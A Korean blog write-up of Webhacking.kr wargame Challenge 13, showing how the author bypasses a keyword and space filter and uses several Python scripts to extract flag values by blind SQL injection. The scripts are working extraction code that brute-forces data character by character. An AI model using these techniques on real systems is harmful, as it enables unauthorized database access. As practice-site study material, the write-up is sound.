티스토리 뷰

Wargame/Webhacking.kr

Challenge 13

do9dark 2015. 7. 6. 22:40


HINT로 컬럼과 테이블이 주어져 있고 입력을 할 수 있는 Submit와 Auth가 주어져 있다.



 

submit에 1,2 그리고 다른 값들을 넣어본 결과 no=1 일 경우에는 result도 1, 그 외에 다른 값들은 result은 0이 표시되었다.

(0을 입력하였을 때는 아무런 값도 표시되지 않았다.)

이를 통해서 참일 경우에는 result는 1이 표시되고 거짓일 경우에는 0이 표시된다는 것을 알 수 있다.


flag 값을 알아내기 위해서 submit에 SQL Injection 해본 결과,  =, like, 띄어쓰기 등을 사용하면 no hack이 발생하였다.

이를 in(), ^(XOR) 연산자로 우회해서 먼저 flag 값의 개수를 count() 함수를 이용하여 확인해보면 2개가 있는 것을 알 수 있다.


^(XOR) 연산자 이용 비교

#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import httplib
flag = 1
cookie = "PHPSESSID=j8fj8q9arprcr9kq8br1ufnjd2"
while(flag):
    params = "no=(select%0acount(flag)%0afrom%0aprob13password)^" + str(flag)
    conn = httplib.HTTPConnection('webhacking.kr')
    conn.request('GET','/challenge/web/web-10/?'+params,'',{'Cookie':cookie})
    data = conn.getresponse().read()
    conn.close()
    if(data.find('<td>1</td>'!= -1):
        print 'The Count is %d' %(1^flag)
        break
    print 'Go', flag
    flag = flag + 1
cs


in() 연산자 이용 비교

#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import httplib
flag = 1
cookie = "PHPSESSID=j8fj8q9arprcr9kq8br1ufnjd2"
while(flag):
    params = "no=(select%0acount(flag)%0afrom%0aprob13password)%0ain(" + str(flag) + ")"
    conn = httplib.HTTPConnection('webhacking.kr')
    conn.request('GET','/challenge/web/web-10/?'+params,'',{'Cookie':cookie})
    data = conn.getresponse().read()
    conn.close()
    if(data.find('<td>1</td>'!= -1):
        print 'The Count is %d' %flag
        break
    print 'Go', flag
    flag = flag + 1
cs


The Count is 2


2개의 값을 구별하기 위해서 min(), max() 함수를 이용하였다.

먼저 각각의 길이를 파이썬으로 구할 수 있다.


length(max(flag))

#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import httplib
flag = 1
cookie = "PHPSESSID=j8fj8q9arprcr9kq8br1ufnjd2"
while(flag):
    params = "no=(select%0alength(max(flag))%0afrom%0aprob13password)%0ain(" + str(flag) + ")"
    conn = httplib.HTTPConnection('webhacking.kr')
    conn.request('GET','/challenge/web/web-10/?'+params,'',{'Cookie':cookie})
    data = conn.getresponse().read()
    conn.close()
    if(data.find('<td>1</td>'!= -1):
        print 'The Count is %d' %flag
        break
    print 'Go', flag
    flag = flag + 1
cs

The Count is 4


length(min(flag))

#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import httplib
flag = 1
cookie = "PHPSESSID=j8fj8q9arprcr9kq8br1ufnjd2"
while(flag):
    params = "no=(select%0alength(min(flag))%0afrom%0aprob13password)%0ain(" + str(flag) + ")"
    conn = httplib.HTTPConnection('webhacking.kr')
    conn.request('GET','/challenge/web/web-10/?'+params,'',{'Cookie':cookie})
    data = conn.getresponse().read()
    conn.close()
    if(data.find('<td>1</td>'!= -1):
        print 'The Count is %d' %flag
        break
    print 'Go', flag
    flag = flag + 1
cs

The Count is 20


길이를 가지고 각각의 flag 값도 파이썬으로 구할 수 있다.


max(flag)

#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import httplib
flag = ''
cookie = "PHPSESSID=j8fj8q9arprcr9kq8br1ufnjd2"
for i in range(1,5):
    for j in range(32,123):
        param = 'no=(select%0asubstr(max(binary(flag))%2C' + str(i) + '%2C1)%0afrom%0aprob13password)%0ain(' + hex(j) + ')'
        conn = httplib.HTTPConnection('webhacking.kr')
        conn.request('GET','/challenge/web/web-10/index.php?'+param,'',{'Cookie':cookie})
        data = conn.getresponse().read()
        conn.close()
        if(data.find('<td>1</td>'!= -1):
            print 'The value is ', chr(j)
            flag += chr(j)
            break
        print 'Go', chr(j)
print flag
cs

flag


min(flag)

#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import httplib
flag = ''
cookie = "PHPSESSID=j8fj8q9arprcr9kq8br1ufnjd2"
for i in range(1,21):
    for j in range(32,123):
        param = 'no=(select%0asubstr(min(binary(flag))%2C' + str(i) + '%2C1)%0afrom%0aprob13password)%0ain(' + hex(j) + ')'
        conn = httplib.HTTPConnection('webhacking.kr')
        conn.request('GET','/challenge/web/web-10/index.php?'+param,'',{'Cookie':cookie})
        data = conn.getresponse().read()
        conn.close()
        if(data.find('<td>1</td>'!= -1):
            print 'The value is ', chr(j)
            flag += chr(j)
            break
        print 'Go', chr(j)
print flag
cs

challenge13fuckclear


알아낸 flag 값 flag와 challenge13fuckclear를 auth에 입력해보면 challenge13fuckclear가 문제 푸는 데 필요한 flag인 것을 알 수 있다.

(문제를 풀 당시에 해당 값을 구했으나 문제가 풀리지 않아서 3일 동안 뻘짓 아닌 뻘짓을 했었는데... oldzombie한테 문의 메일 보낸 결과...flag 값을 변경하고 인증 값을 바꾸지 않았다고 한다. > 문제 자체가 문제가 있을 수 있다. )

(challenge13fuckclear -> challenge13luckclear로 변경되었다. fuck -> luck)


'Wargame > Webhacking.kr' 카테고리의 다른 글

Challenge 18  (0) 2015.07.07
Challenge 17  (0) 2015.07.07
Challenge 16  (0) 2015.07.07
Challenge 15  (0) 2015.07.07
Challenge 14  (0) 2015.07.07
Challenge 12  (0) 2015.07.06
Challenge 11  (0) 2015.07.06
Challenge 10  (0) 2015.07.06
Challenge 9  (0) 2015.07.05
Challenge 8  (0) 2015.07.05
댓글
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
링크
공지사항
Total
Today
Yesterday